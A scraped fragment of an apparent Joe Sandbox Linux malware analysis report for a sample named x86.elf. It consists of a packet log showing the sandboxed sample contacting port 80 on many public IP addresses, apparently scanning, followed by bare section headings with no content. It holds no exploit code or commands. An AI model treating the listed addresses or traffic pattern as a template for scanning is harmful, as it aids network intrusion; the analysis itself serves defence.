Dec 3, 2024 23:01:47.671485901 CET	60046	80	192.168.2.23	54.94.22.113
Dec 3, 2024 23:01:47.671485901 CET	60046	80	192.168.2.23	39.202.57.254
Dec 3, 2024 23:01:47.671492100 CET	60046	80	192.168.2.23	36.186.184.228
Dec 3, 2024 23:01:47.671497107 CET	60046	80	192.168.2.23	83.243.31.245
Dec 3, 2024 23:01:47.671504021 CET	60046	80	192.168.2.23	113.243.177.22
Dec 3, 2024 23:01:47.671506882 CET	60046	80	192.168.2.23	160.205.14.226
Dec 3, 2024 23:01:47.671520948 CET	60046	80	192.168.2.23	157.214.30.101
Dec 3, 2024 23:01:47.671525002 CET	60046	80	192.168.2.23	4.155.66.120
Dec 3, 2024 23:01:47.671525002 CET	60046	80	192.168.2.23	157.83.4.219
Dec 3, 2024 23:01:47.671528101 CET	60046	80	192.168.2.23	198.109.6.59
Dec 3, 2024 23:01:47.671531916 CET	60046	80	192.168.2.23	206.228.52.44
Dec 3, 2024 23:01:47.671541929 CET	60046	80	192.168.2.23	24.191.82.184
Dec 3, 2024 23:01:47.671550035 CET	60046	80	192.168.2.23	113.31.52.101
Dec 3, 2024 23:01:47.671560049 CET	60046	80	192.168.2.23	185.172.65.108
Dec 3, 2024 23:01:47.671561956 CET	60046	80	192.168.2.23	148.26.67.43
Dec 3, 2024 23:01:47.671576023 CET	60046	80	192.168.2.23	169.92.61.56
Dec 3, 2024 23:01:47.671580076 CET	60046	80	192.168.2.23	57.86.137.175
Dec 3, 2024 23:01:47.671581984 CET	60046	80	192.168.2.23	59.132.216.228
Dec 3, 2024 23:01:47.671595097 CET	60046	80	192.168.2.23	5.173.155.246
Dec 3, 2024 23:01:47.671595097 CET	60046	80	192.168.2.23	203.77.109.81
Dec 3, 2024 23:01:47.671600103 CET	60046	80	192.168.2.23	135.143.192.172
Dec 3, 2024 23:01:47.671602011 CET	60046	80	192.168.2.23	137.213.108.213
Dec 3, 2024 23:01:47.671606064 CET	60046	80	192.168.2.23	137.247.94.204
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	218.232.188.55
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	179.212.113.30
Dec 3, 2024 23:01:47.671622992 CET	60046	80	192.168.2.23	88.45.171.22
Dec 3, 2024 23:01:47.671627045 CET	60046	80	192.168.2.23	174.117.79.231
Dec 3, 2024 23:01:47.671652079 CET	60046	80	192.168.2.23	144.96.120.37
Dec 3, 2024 23:01:47.671652079 CET	60046	80	192.168.2.23	151.74.114.213
Dec 3, 2024 23:01:47.671653986 CET	60046	80	192.168.2.23	219.84.83.68
Dec 3, 2024 23:01:47.671657085 CET	60046	80	192.168.2.23	171.5.137.77
Dec 3, 2024 23:01:47.671653986 CET	6004

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
x86.elf